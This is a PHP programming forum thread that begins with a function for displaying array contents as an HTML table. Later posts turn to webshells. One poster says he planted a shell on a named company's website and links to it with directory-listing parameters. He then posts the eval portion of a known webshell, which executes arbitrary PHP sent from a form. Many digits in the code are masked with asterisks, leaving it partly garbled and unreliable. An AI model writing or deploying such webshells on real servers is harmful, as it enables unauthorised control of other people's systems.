file auditing
+ Reply to Thread
Results 1 to 10 of 10

Thread: Array of Hope

  1. #1
    Join Date
    Aug 2007
    Posts
    122

    Array of Hope

    Yo, mein bon amigos!

    Haven't been here for quite a while. Been concentrating on redesigning a new web site core logic module.

    Thought I would stop by and leave some brain droppings. I just made a useful PHP tool that turned out to be very helpful and thought I would share it.

    Ever want to see what's inside an associative array, but were afraid to ask?

    The raw print_r() function output is rather messy and sticks to your face.

    Here's a simple utility function to easily and neatly display an associative array's contents in the form of a table.

    Just use the array you want to display as the function input argument.

    For example:
    Code:
    print Array_Query_Table ($_SERVER);


    If cookies exist, you can also view their contents the same way, since cookies are stored in a super-global array.
    Code:
    print Array_Query_Table ($_COOKIE);

    The function generates the complete code for a ready-to-print HTML table to display the array contents.

    When writing an interactive web page, this function makes it easy to check the contents of the POST and GET or other associative arrays as you debug your program interface.

    Try
    Code:
    print Array_Query_Table ($_POST);
    or

    Code:
    print Array_Query_Table ($_GET);
    to see all your I/O form element values.




    Here is the function code:
    Code:
       function Array_Query_Table ($ArrayArg)
      {
    
       $out = '';
    
       $x = $ArrayArg;
    
       ForEach ($x as $key => $value)
      {
       $out .= "<TR><TD BGCOLOR='LightYellow'>$key</TD><TD BGCOLOR='LightCyan'>$value</TD></TR>\n";
      }
    
       return "<TABLE BGCOLOR='black' CELLPADDING='2' CELLSPACING='*'><TD BGCOLOR='yellow'>KEY</TD><TD BGCOLOR='cyan'>VALUE</TD>$out</TABLE>";
    
      }



    JayT was here




    Sponsored by the Swiss Army Condom
    You're Ready for Anything In Heaven, Hell or Earth and Beyond the Stars.
    Last edited by JayT; 03-22-2008 at 10:20 PM.
    Oh to be free, so blissfully free, of the ravages of intelligence, there is no greater joy! - The Cweationist's Cweed

    All that is necessary for evil to triumph is a good PR firm.
    Very funny, Scotty. Now beam down my clothes!

  2. #2
    Join Date
    Sep 2006
    Posts
    1,649
    Looks pretty intersting. The code looks clean, but there is one line I'm confused about.
    Code:
    ForEach ($x as $key => $value)
    I know about foreach but I've never seen it used like this. Could you explain it a little better to me?

    EDIT: Lol, forgot to say welcome back dude! It's been a long while, and I've missed seeing your bytes of wisdom Not too much has changed around here.
    Last edited by Moonbat; 03-22-2008 at 08:36 PM.
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  3. #3
    Join Date
    Aug 2007
    Posts
    122

    Fleidermaus de la Lune

    Quote Originally Posted by Moonbat View Post
    Looks pretty intersting. The code looks clean, but there is one line I'm confused about.
    Code:
    ForEach ($x as $key => $value)
    I know about foreach but I've never seen it used like this. Could you explain it a little better to me?

    EDIT: Lol, forgot to say welcome back dude! It's been a long while, and I've missed seeing your bytes of wisdom Not too much has changed around here.

    Hi, Moonbat!

    Glad to be back.

    The ForEach is a bit tricky. It automatically works through the array. I don't claim to understand it, but I just discovered by experimenting with converting arrays into strings and vice versa, that the code worked, so I put it into a packaged function to help me keep ***** of certain array contents while deb***ing.

    Use *&#*7; of time programming, **% of time deb***ing!

    grrrrrrrr


    Code:
    ForEach ($x as $key => $value)
    { 
      PHP code block using paired sequential $key and $value contents extracted from $x; 
    
      In this case, the extracted pairs are assembled in a TABLE line structure;
    }
    Essentially it means that:
    For each item in associative array $x, sequentially read each item key (or label) and its corresponding item value into separate strings ($key, $value) until every element in the array has been used. Each cycle extracts the next ($key, $value) pair from associative array $x. This way you can easily extract and view or work with the values as needed. It helps me while deb***ing.


    I copied the $ArrayArg contents into array $x so it would be a stable array and not change during the function operation. Sometimes the argument value can actually change while a function is executing causing strange erroneous results that are very difficult to trace. It's best to copy the argument value to an internal stable variable and work with it instead within a function.




    I've been working hard on a whole new core module to build my site around, similar to an API for building a web site. It's an obsession. I'm becoming addicted to PHP!

    LOL
    Last edited by JayT; 03-22-2008 at 09:56 PM.
    Oh to be free, so blissfully free, of the ravages of intelligence, there is no greater joy! - The Cweationist's Cweed

    All that is necessary for evil to triumph is a good PR firm.
    Very funny, Scotty. Now beam down my clothes!

  4. #4
    Join Date
    Sep 2006
    Posts
    1,649
    Well, after testing out the function, I kinda understand how it works, and your explanation helped as well. I might play around with this function a little bit.
    Quote Originally Posted by JayT View Post
    It's an obsession. I'm becoming addicted to PHP!
    Welcome to the club I'm also obsessed with PHP, and will find an excuse to try to code anything and everything in PHP. The only problem is I can't think of anything to code (besides simple websites and little scripts that grab stuff from DBs).

    I need inspiration, nothing too large or time-consuming like a website or game. Oh, and nothing I can't do with a free webhost (i.e. no port scanners, free hosts disable fsockopen and other related functions). I only have 256 MB of RAM, and WAMPServer slows me down alot.
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  5. #5
    Join Date
    Aug 2007
    Posts
    122

    Smile No Rest For the Wicked ...

    Quote Originally Posted by Moonbat View Post
    Well, after testing out the function, I kinda understand how it works, and your explanation helped as well. I might play around with this function a little bit.

    Welcome to the club I'm also obsessed with PHP, and will find an excuse to try to code anything and everything in PHP. The only problem is I can't think of anything to code (besides simple websites and little scripts that grab stuff from DBs).

    I need inspiration, ....
    I try to keep my code reasonably simple because I may need to read it in future to improve on it as my skills increase and I also use it to teach some others basic PHP programming and I don't want it to be too hard for them to follow either.

    My worst nightmare is teaching myself PHP by reading code written by others.
    LOL

    The person you need is nanny McPhee!
    LOL

    You need more outside interests related to computers.

    I love maths and science and computer art and programming, so I have lots of potential room for web programming ideas. Usually I have several projects going at once.



    P.S.
    Try this:
    Code:
    print Array_Query_Table(timezone_identifiers_list());
    Last edited by JayT; 03-22-2008 at 11:19 PM.
    Oh to be free, so blissfully free, of the ravages of intelligence, there is no greater joy! - The Cweationist's Cweed

    All that is necessary for evil to triumph is a good PR firm.
    Very funny, Scotty. Now beam down my clothes!

  6. #6
    Join Date
    Sep 2006
    Posts
    1,649
    Outside interests... Let's see...
    1. Vandalism and other forms of adolescent delinquency
    2. Anime
    3. Basketball
    4. Foreign Language
    5. GFX
    I don't have much to go on, sadly. Do you know any sites I could go to with projects? Do you have any projects you can recommend.

    I'm currently working on a webshell, but I've got a long way to go before that gets completed. I need fun stuff. Someone, anyone, give me ideas!
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  7. #7
    Join Date
    Aug 2007
    Posts
    122

    Ideas

    Quote Originally Posted by Moonbat View Post
    Outside interests... Let's see...
    1. Vandalism and other forms of adolescent delinquency
    2. Anime
    3. Basketball
    4. Foreign Language
    5. GFX
    I don't have much to go on, sadly. Do you know any sites I could go to with projects? Do you have any projects you can recommend.

    I'm currently working on a webshell, but I've got a long way to go before that gets completed. I need fun stuff. Someone, anyone, give me ideas!


    What exactly do you mean by "webshell" ?





    Here's a site where you might check for some ideas.

    [url]http://www.dreamincode.net/forums/showtopic46487.htm[/url]
    Oh to be free, so blissfully free, of the ravages of intelligence, there is no greater joy! - The Cweationist's Cweed

    All that is necessary for evil to triumph is a good PR firm.
    Very funny, Scotty. Now beam down my clothes!

  8. #8
    Join Date
    Sep 2006
    Posts
    1,649
    A web shell is a PHP script that lets you interface with the server. I might not be explaining it too well, so here's an example:
    Code:
    http://klkholdingsinc.com/klk/images/stories/tt/c*00.php?act=ls&d=%2Fhsphere%2Flocal%2Fhome%2Fkrisk%2Fklkholdingsinc.com%2F&sort=0a
    Webshells are mostly used in remote file inclusion vulnerabilities.
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  9. #9
    Join Date
    Aug 2007
    Posts
    122

    Interesting

    Quote Originally Posted by Moonbat View Post
    A web shell is a PHP script that lets you interface with the server. I might not be explaining it too well, so here's an example:
    Code:
    http://klkholdingsinc.com/klk/images/stories/tt/c*00.php?act=ls&d=&#*7;2Fhsphere%2Flocal%2Fhome%2Fkrisk%2Fklkholdingsinc.com%2F&sort=0a
    Webshells are mostly used in remote file inclusion vulnerabilities.


    Is that your site ?

    If so, I'm interested in the source code of the program with the [PHP-Code] link.

    It executes PHP code.

    My PHP code tester is built around a PHP function that can execute a line of PHP code internally. I'd like to see how that code was made and compare it to my concept. Mine still has a few bugs.
    Oh to be free, so blissfully free, of the ravages of intelligence, there is no greater joy! - The Cweationist's Cweed

    All that is necessary for evil to triumph is a good PR firm.
    Very funny, Scotty. Now beam down my clothes!

  10. #10
    Join Date
    Sep 2006
    Posts
    1,649
    Quote Originally Posted by JayT View Post
    Is that your site ?

    If so, I'm interested in the source code of the program with the [PHP-Code] link.

    It executes PHP code.

    My PHP code tester is built around a PHP function that can execute a line of PHP code internally. I'd like to see how that code was made and compare it to my concept. Mine still has a few bugs.
    It's not my site, I just put a shell on that site.
    The shell is made by a group called Locus7s.

    I'm sure this portion is the full source of the PHP-Code part.
    [PHP]if ($act == "eval")
    {
    if (!empty($eval))
    {
    echo "<b>Result of execution this PHP-code</b>:<br>";
    $tmp = ob_get_contents();
    $olddir = realpath(".");
    @chdir($d);
    if ($tmp)
    {
    ob_clean();
    eval($eval);
    $ret = ob_get_contents();
    $ret = convert_cyr_string($ret,"d","w");
    ob_clean();
    echo $tmp;
    if ($eval_txt)
    {
    $rows = count(explode("\r\n",$ret))+*;
    if ($rows < *0) {$rows = *0;}
    echo "<br><textarea cols=\"*22\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>";
    }
    else {echo $ret."<br>";}
    }
    else
    {
    if ($eval_txt)
    {
    echo "<br><textarea cols=\"*22\" rows=\"*5\" readonly>";
    eval($eval);
    echo "</textarea>";
    }
    else {echo $ret;}
    }
    @chdir($olddir);
    }
    else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}}
    echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"*22\" rows=\"*0\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"*\""; if ($eval_txt) {echo " checked";} echo "></form>";
    } [/PHP]
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

+ Reply to Thread

Similar Threads

  1. i hope to see it
    By saudi good good in forum General discussion
    Replies: 18
    Last Post: 02-25-2009, 04:23 PM
  2. Input text file to array help
    By Deadvacahead in forum Programming
    Replies: 0
    Last Post: 12-06-2007, 08:56 PM
  3. Array Of Hope
    By JayT in forum Programming
    Replies: 3
    Last Post: 09-27-2007, 10:49 PM
  4. i hope this is the appropriate place to post this
    By joefro4568 in forum Programming
    Replies: 0
    Last Post: 08-18-2007, 09:01 AM
  5. i hope you can help me
    By ferdelgadillo13 in forum Internet Privacy
    Replies: 3
    Last Post: 01-17-2007, 03:15 PM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts